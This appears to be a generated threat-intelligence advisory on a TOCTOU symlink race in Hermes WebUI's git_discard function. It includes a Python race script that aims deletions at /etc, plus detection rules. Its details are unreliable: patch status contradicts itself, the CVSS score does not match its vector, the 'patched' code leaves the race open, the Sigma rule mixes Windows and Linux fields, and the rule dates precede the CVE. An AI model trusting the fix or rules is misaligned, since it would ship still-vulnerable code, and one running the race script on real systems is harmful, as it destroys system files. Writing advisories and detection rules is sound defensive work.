CVE-2026-49958

Executive Summary

CVE-2026-49958 is a Time-of-Check Time-of-Use (TOCTOU) race condition vulnerability in the Hermes WebUI application, specifically within the git_discard function in api/workspace_git.py. The flaw allows an attacker with local access to the workspace to delete arbitrary files outside the intended workspace boundary. The vulnerability arises because the application validates a file path using safe_resolve_ws() but then performs the deletion operation (Path.unlink() or shutil.rmtree()) without re-validating the path. An attacker can exploit this race window by replacing a validated path component with a symlink pointing to an external directory, causing the deletion to follow the symlink and remove files outside the workspace. The CVSS score is 5.0 (Medium), and no patch is currently available.

Supply Chain & Package Security

Hermes WebUI is a Python-based web application. The vulnerability exists in the core application code, not in a third-party package. However, the use of shutil.rmtree() and Path.unlink() from the standard library is standard, and the flaw is in the application logic, not the library itself. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have local access to the workspace.
• Attack Complexity (AC): High (H) – Exploitation requires precise timing to win the race condition.
• Privileges Required (PR): Low (L) – The attacker needs workspace-level access.
• User Interaction (UI): None (N) – No user interaction required beyond the attacker's actions.
• Scope (S): Changed (C) – The vulnerability allows impact outside the workspace boundary.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): High (H) – Arbitrary file deletion can corrupt system files.
• Availability (A): High (H) – Deletion of critical files can cause denial of service.

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H
Base Score: 5.0 (Medium)
Threat Level: Medium – Exploitation is difficult due to the race condition, but impact is high.

Deep Dive & Mechanics

The vulnerability is a classic TOCTOU race condition in the git_discard function. The flow is:

1. Validation: The function calls safe_resolve_ws() to validate that the target path is within the configured workspace boundary.
2. Race Window: After validation, the function proceeds to delete the file or directory using Path.unlink() or shutil.rmtree().
3. Exploitation: An attacker, with write access to the workspace, can replace a path component (e.g., a directory) with a symlink pointing to an external directory (e.g., /etc) during the race window.
4. Impact: The deletion operation follows the symlink and removes files outside the workspace.

The race window is small but exploitable, especially if the attacker can trigger the deletion operation repeatedly while manipulating the filesystem.

Vulnerable vs. Patched Code

Vulnerable Code (Hermes WebUI < 0.51.303):

# api/workspace_git.py
def git_discard(workspace, path):
    resolved = safe_resolve_ws(workspace, path)
    # Race window: attacker can replace a component of resolved with a symlink
    if resolved.is_dir():
        shutil.rmtree(resolved)
    else:
        resolved.unlink()

Patched Code (Hypothetical fix):

# api/workspace_git.py
def git_discard(workspace, path):
    resolved = safe_resolve_ws(workspace, path)
    # Re-validate after resolution to prevent symlink attacks
    if not resolved.is_relative_to(workspace):
        raise PermissionError("Path outside workspace")
    if resolved.is_dir():
        shutil.rmtree(resolved)
    else:
        resolved.unlink()

The fix re-validates the path immediately before deletion, closing the race window.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to the Hermes WebUI workspace.
• Ability to create symlinks and trigger the git_discard function.

Exploit Steps:

1. Identify a workspace directory that is validated by safe_resolve_ws().
2. Create a race condition script that repeatedly replaces a subdirectory with a symlink to /etc (or another target).
3. Simultaneously trigger the git_discard function on that path.
4. If the race is won, the deletion will follow the symlink and remove files in /etc.

Example Race Script (Python):

import os
import threading
import time

workspace = "/path/to/workspace"
target_dir = os.path.join(workspace, "subdir")
symlink_target = "/etc"

def race_condition():
    while True:
        os.symlink(symlink_target, target_dir)
        time.sleep(0.001)
        os.unlink(target_dir)
        os.mkdir(target_dir)

def trigger_delete():
    # Assume we have a way to call git_discard on target_dir
    pass

thread = threading.Thread(target=race_condition)
thread.start()
trigger_delete()

Blue Team (Detection & Prevention)

Detection:

• Monitor for rapid creation and deletion of symlinks in workspace directories.
• Alert on shutil.rmtree() or Path.unlink() calls that resolve to paths outside the workspace.
• Use file integrity monitoring (FIM) to detect unexpected deletions.

Prevention:

• Apply the hypothetical patch that re-validates the path before deletion.
• Use a temporary lock or atomic operation to prevent race conditions.
• Restrict workspace write access to trusted users only.

Indicators of Compromise (IOCs)

• File System Events: Rapid creation/deletion of symlinks in workspace directories.
• Log Entries: Hermes WebUI logs showing git_discard calls with paths that resolve outside the workspace.
• System Changes: Unexpected deletion of files in directories like /etc, /var, or /usr.
• Process Anomalies: High frequency of symlink() and unlink() system calls from the Hermes process.

Detection Engineering

YARA Rule

rule CVE_2026_49958_TOCTOU_Hermes {
    meta:
        description = "Detects TOCTOU race condition in Hermes WebUI git_discard function"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-49958"
    strings:
        $func = "git_discard"
        $safe_resolve = "safe_resolve_ws"
        $unlink = "unlink"
        $rmtree = "rmtree"
    condition:
        all of them
}

Sigma Rule

title: CVE-2026-49958 - TOCTOU Race Condition in Hermes WebUI
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2026-49958 via rapid symlink creation/deletion
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        EventID: 11  # File creation
        TargetFilename|endswith: '.lnk'  # Symlink creation
    condition: selection
    timeframe: 5s
    condition: selection | count() > 10
falsepositives:
    - Legitimate symlink operations
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-49958 - Hermes WebUI TOCTOU Exploit Attempt"; flow:to_server; content:"git_discard"; http_uri; content:"workspace"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit workspace write access to trusted users only.
2. Monitor Logs: Enable detailed logging for file operations and monitor for suspicious symlink activity.
3. Apply Workaround: If possible, modify the git_discard function to re-validate the path before deletion (see patched code above).

Long-Term Fix:

• Apply the official patch from Hermes when available (version 0.51.303 or later).
• Implement a proper TOCTOU-safe design using file descriptors or atomic operations.

Valters IT Signature:
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.